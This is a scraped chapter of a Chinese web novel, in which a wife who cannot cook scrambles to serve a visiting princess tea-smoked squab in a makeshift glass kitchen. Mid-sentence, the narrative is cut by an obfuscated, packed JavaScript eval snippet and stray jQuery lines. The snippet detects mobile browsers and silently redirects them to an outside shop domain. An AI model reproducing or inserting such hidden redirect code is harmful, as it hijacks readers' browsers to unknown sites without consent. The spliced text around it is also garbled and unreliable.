文趣网 > 都市小说 > 夫人做饭好难吃啊 > 29. 公主的刁难(一)
    朱玉就着红油拌腐竹、豇豆、炒面筋丝,一口一口喝着山药粥,忽然问:

    “怎没见着其他人?”

    葡萄说:“今日长公主和驸马爷路过广陵,在梁大人的府上作客,广陵的四大才子都去陪宴了。”

    “还有四大才子?”

    “咱们的二公子,还有沈公子、柳公子和顾公子,并称广陵四大才子,听说,还有四大才女也去了。”

    朱玉听了,忍不住笑笑,心想不愧是男主的剧情,一出现就是莺莺燕燕、排场十足的,她又问:

    “那裴照去凑什么热闹?”

    “大公子不放心二公子,就也去陪着。”

    “有什么不放心的。”

    “驸马爷要打马球呢,二公子坐着轮椅,场上人仰马翻的,怕伤着。”

    朱玉放下筷子:“那我今日还做不做饭?”

    “大公子说,他晚饭前一定赶回来陪您吃。”葡萄捧出一套新衣裳给她看,“昨日,朱老爷说院子太冷清了,大公子连夜在院子里安了秋千,这会儿虽然下着小雨,一会儿就晴了,趁着这最后的春光,您赶紧到院里荡挡秋千玩玩。大公子还说,您刚到广陵,要是觉得闷,没人说话,可以邀请别家夫人一道玩。”

    “算盘打的这么响,这是让我多玩,少做饭呗?”

    葡萄知道朱玉喜欢斗嘴,笑着接话:“可不是,您每天就荡荡秋千,看看书,念念诗,一天就过去了,大公子的嘴巴也少受折磨。”

    “想的美。”朱玉高高兴兴换上了新衣裳,对着铜镜左照右照,忽然,她皱着眉问:“我右眼皮怎么一直跳?他们不会出事儿吧?”

    葡萄说:“能有啥事儿?那么大的排场,安全得很。”

    朱玉绑定的系统对象是炮灰男配裴照,有个好处,就是她可以每日专心做饭,什么事情也不用管,不用想。

    反正男主的剧情与裴照无关,与她更是无关,外边再怎么腥风血雨,都扯不到她头上。只要每日搞清楚,今天的鸡多少钱一斤,青菜多少钱,调味料够不够,午饭是让容大娘随便做做,还是叫酒楼送外卖就行。

    朱玉想起来一句话,叫温室里的花朵,如今,她就是那温室里的,勤勤恳恳,只顾做饭的花朵。

    如今,这朵花的计划是:美美吃完裴照买来的早饭,换上爹爹从京城捎来的新衣裳,到院子里荡会儿秋千,然后睡到下午,起来做饭。

    朱玉满意地看着镜里的新衣——月白抹胸,桃花蕾对襟长褙子,春花色马面裙,鞋袜也是配套的,淡淡的草绿色,鞋面各绣一只展翅的蝴蝶,侧面点缀三朵桃花,针脚细密,栩栩如生。

    朱玉又忽然捂住左眼:“怎么左眼也跳?难道是用眼过度?”

    昨日,她在朱万山的指点下,成功炒了四盘鸡肉,火腿鸡片、韭黄炒鸡丝、葱烧鸡块、酱爆鸡丁,那烟雾缭绕的,呛得她眼泪直流,感觉很快就要瞎了。

    还学了如何净膛,先从鸡的腹部横切一刀,将里边的杂物全掏出来,再把尾尖、小腿、翅尖、鸡屁股什么的切掉,清水洗净之后,要挂起来晾一晾,才能开始下一步。

    这是最简单的,朱万山说,鸡是这样,鸭、鹅、鸽子、鹌鹑也是这样,脖子长的,就先在脖子处来一刀,将食管、气管揪出来,接着腹部来一刀。

    切丁或者切块,麻油爆香葱白,下两勺豆豉、一点盐、花椒末,怎么炒都好吃。要想吃干香的,就先用油将鸡肉煸香,加大酱、黄豆酱,让味道更厚重,但只有酱会咸,味道会焖,所以还要放一把花椒提香,要想煮得鲜嫩多汁,拌着饭吃,就加清水,放一捧撕碎的蘑菇一同炖。

    鱼也简单,刮鳞、去鳃、去内脏,苦胆别弄破就行,里边抓点盐,表面放姜片、葱段,淋些黄酒,大火快蒸,熟了取出来,别偷懒,倒掉盘里的汤汁,去掉姜丝那些,重新铺上葱丝、红椒丝,淋热油,再淋酱油、撒葱花,一吃一个鲜。

    等熟练了,就可以尝试不去鳞的切法,只在肚子来一刀,将内脏去除,滋味更好。

    朱万山本想要长住两月,给她烧饭吃,朱玉担心被识破,只好像当初送走周师傅那样,将朱万山也连夜送走了。

    “能有啥事儿,您就安心吧!”

    葡萄又安慰了一句。

    正说着,张叔就冲进来了,脸色煞白地冲朱玉喊:“夫人,出事儿了!”

    朱玉手里的碗“当”一声放下,站起来说:

    “我就说吧!出什么事了?”

    “今日……小公主也来了,说男人们在马上挥杖击球,危险又不雅观,小则伤面目,大则残形躯,没什么好看的。梁大人就说,梁夫人做得一手好菜,小公主要是嫌无聊,就给她做些好吃的,其他人都想讨好,也都说自家夫人做饭好吃,各家公子当场就聊了起来,报了许多菜名,问小公主想吃哪位夫人做的饭菜,都可以请到梁府来。哪知……小公主竟然点名,要那个一直不开口说话的人的夫人,他们就去看,今天谁在场不说话?竟然是咱们大公子。”

    朱玉:“……所以裴照也说我做饭好吃么?”

    张叔强调:“就他没开口说话。”

    朱玉扶着桌子:“然后呢?”

    “然后梁大人就问大公子,尊夫人是不是朱家饭庄朱掌柜之女,大公子大声应是。梁大人就说,百家酒楼大赛他也有幸观赏,那朱掌柜做饭真是厉害,特别是那道茶熏乳鸽……小公主听完,当场就坐不住了,当场就驾着马车朝咱们这儿赶,说就想吃那道招牌菜!”

    朱玉哪里会做,双腿一软:

    “我能拒绝么?”

    张叔愣了一下,说:

    “二公子当场就回话,说府上随时恭候殿下凤驾。”

    朱玉:“……”

    不是他有病啊?

    为什么男主可以随意替他人做决定啊?

    “裴照呢?裴照说了什么?他答应了吗?”

    “大公子……在小公主面前说不上话,没有开口拒绝的资格。”

    “我爹,我爹呢,现在去追他还来得及么!”

    “怕是来不及了。”

    朱玉脸一红一白地听着。

    朱家饭庄的招牌菜可不是这么容易复刻的,对比其他以茶入味的乳鸽菜品,她爹的版本,过程和手艺都要复杂许多。

    大致是先吊卤水,备高汤,乳鸽腌过,再入卤水炖煮,期间不断投入香料,最后炒香茶叶,关火烟熏。若客人对禽类膻味较为介意,茶熏后,还要用滚烫的茶油反复淋浇鸽身,直到鸽子呈现出金红酥脆的色泽。

    看似步骤清晰,可朱万山次次强调,以上的每一道工序都要用到六种不同的香料,算下来,一道乳鸽就要投入超过二十种香料!光是复杂程度,大多数厨子就望尘莫及了。

    书里的朱玉曾在朱万山的指点下亲手烹制过几次,可如今,残留的记忆极其模糊,如同雾里看花,要她亲手给皇亲国戚做乳鸽,实在是强人所难。

    朱玉欲哭无泪,伸手去摸摸自己的脖子。

    怎么凉飕飕的。

    张叔看着朱玉煞白的脸,也急得团团转,府里谁不知道这位夫人的实力,这可怎么办!况且,小公主还有一个更刁钻的要求。

    朱玉摇摇晃晃的,站都站不稳,声音发抖:“你再说一遍,要求什么厨房?”

    张叔便字正腔圆道:“透明厨房——如今京城时兴透明厨房,宾客能亲眼欣赏大厨们的烹饪过程,别有一番趣味,小公主也想瞧瞧,美人素手调羹是何等风雅景象,所以要咱们……用透明厨房来展示厨艺。”

    朱玉绝望地闭上眼。

    让别人看自己的下厨现场,别说风雅,不疯就不错了!自己的生命正在争分夺秒的流逝,麻烦却一个接一个的找上门,不由悲从中来,在心里喊道:系统,救我!

    可那废物系统,哪里有回应。

    朱玉对自己说:“怎么办怎么办,小时候看小燕子,笑话人家第一次见老佛爷弄出那样的笑话,如今轮到自己,连呼吸怎么呼的都不会了。”

    朱玉啪啪扇了自己两巴掌,让自己回过神来,她拼命眨眨眼睛,指挥道:“过来一点,再过来一点。”

    葡萄只好将手里的藤架挪过来一点,再挪过来一点,她犹豫地问:“夫人,这会不会……太简陋了些?”

    朱玉说:“我觉得还行。”

    小公主说的透明厨房,在现代很寻常,可这里就极其困难了,材料大概率是西边传来的新鲜玩意儿,不是玻璃就是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770388|208263||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一整块水晶琉璃。

    可他们这落魄的裴府,哪里会有那些?

    她只好用枯藤和竹竿搭了个架子,将油纸一张一张拼起来,当墙一样糊上,那油纸是半透明的,因此,勉勉强强,也能看见里头的人影。

    葡萄瞅了半天:“怎么跟个纸灯笼似的?”

    张叔也皱眉:“你们听,风一吹,架子就吱呀吱呀地晃,油纸呼扇呼扇的,有点像闹鬼。

    葡萄想了想:“还是更像卖菜的大棚。”

    “都说点好话吧!”朱玉瞪了他们一眼,她看着那菜棚,也觉得有些拿不出手。

    正发愁,就见一行人匆匆搬着东西进来,打头的是采竹,身后跟着几个仆役,抬着四扇精致的玻璃花屏——紫檀木为框,雕着缠枝莲纹,内嵌大块透亮的西洋玻璃,阳光一照,流光溢彩。

    朱玉简直不敢相信自己的眼睛,问:

    “哪来的!”

    “大公子让我悄悄回来给您说,府上存着几扇,让我搬来。”

    玻璃花屏很快就围成个半敞的明厨,登时就不一样了。采竹又按照大公子的交代,屏外设一张蟠龙纹青玉案,铺白玉色桌围,铺新坐褥,为了不让午后的阳光晃眼,桌案一侧还挂了半卷竹丝帘,风一吹,光影斑驳落在案上,更添韵致。

    府里不断有人跑上跑下,忙的热火朝天。

    朱玉站在一旁看着,才知道公主要过来吃个乳鸽有多麻烦,事情有多大。

    厅堂要重新打扫,小路上的碎石子要铺平整,薰笼要点上熏香,茶器要一一挑拣,纹样不能冲撞了殿下,下人们要换上新裁的春衫,连同裴叶养的那几只鹦鹉,也要叮嘱——不得胡乱学舌。

    好在前几日,因为朱万山要上门,府里已经收拾过一遍,如今再锦上添花起来,倒也不算太难。

    可她看着如此隆重的场面,只觉得胃里一阵翻腾,几乎要吐,她从来没想到要招待客人,还是公主这样的级别。

    朱玉拼命去回忆那道茶熏乳鸽,虽大致能用文字描绘烹制过程,但要自己动手,那是绝无可能,况且,还有个难点——乳鸽和茶叶的品质。

    乳鸽必须用活了二十三日的乳鸽,只因鸽肉风味在成长的每一天都在变化,多一天太肥,少一天太软,两只鸽子看起来相同,一入口便大有区别,熏料必须选用顶级的明前龙井,取其初萌嫩芽,茶香清芬高逸,方能成就独特风味。

    这茶叶,她嫁入裴府时,倒也作为嫁妆带了一些过来,已命葡萄去取,且走一步算一步。

    才这么想,就看到葡萄气喘吁吁地跑来,脸色发白,朱玉远远就觉得不妙,高声喊:“怎么了!”

    “那日……青莲姑娘来府上作客,夫人吩咐要用最好的茶招待……那罐子龙井,已经……已经用完了!”葡萄的声音带着哭腔。

    “那就换雾钟茶。”

    雾钟茶比龙井更加珍贵,生于云雾缭绕的深山幽涧之中,非得在谷雨当日清晨采摘、午时之前完成制作不可。其形如弯弯娥眉,银毫隐现,一座山,一年拢共也只得七斤二两,堪称“雨前仙针”,其香气非兰非蕙,独特异常,似松间的清风掺雪。

    因此极其珍贵,寻常集市根本无处可买,多是权贵雅士珍藏,哪怕是朱家饭庄,也存货不多,她带了三两过来。

    如今情况特殊,当然要用最好的。

    这话一出,葡萄和采竹看来看去,脸色更加难看,踌躇了好一会儿,采竹才站出来,说:“那日青莲姑娘落水受惊,夫人为表歉意,说府上的东西,她随意挑……那么多好东西,那青莲姑娘,偏偏……偏偏就挑中了那罐雾钟眉……”

    朱玉:“……”

    她又试着开口:“只要是茶叶都行!”

    葡萄快哭了:“落水后第二日,您说犯困,让我将茶叶都找出来泡了喝了……昨日大公子买许多好茶叶,也全拿来招待老爷了,如今,府上是一点茶叶都没有了!”

    朱玉仰天长叹:“天要亡我!裴家的两位,就不能回来帮帮我么?”

    张叔摇摇头:“帮不了,他们都在陪着长公主、驸马爷玩呢,谁敢擅自离场?看长公主的意思,也想考验考验裴府,至于那小公主,更是出了名的刁蛮跋扈,喜欢为难人的!”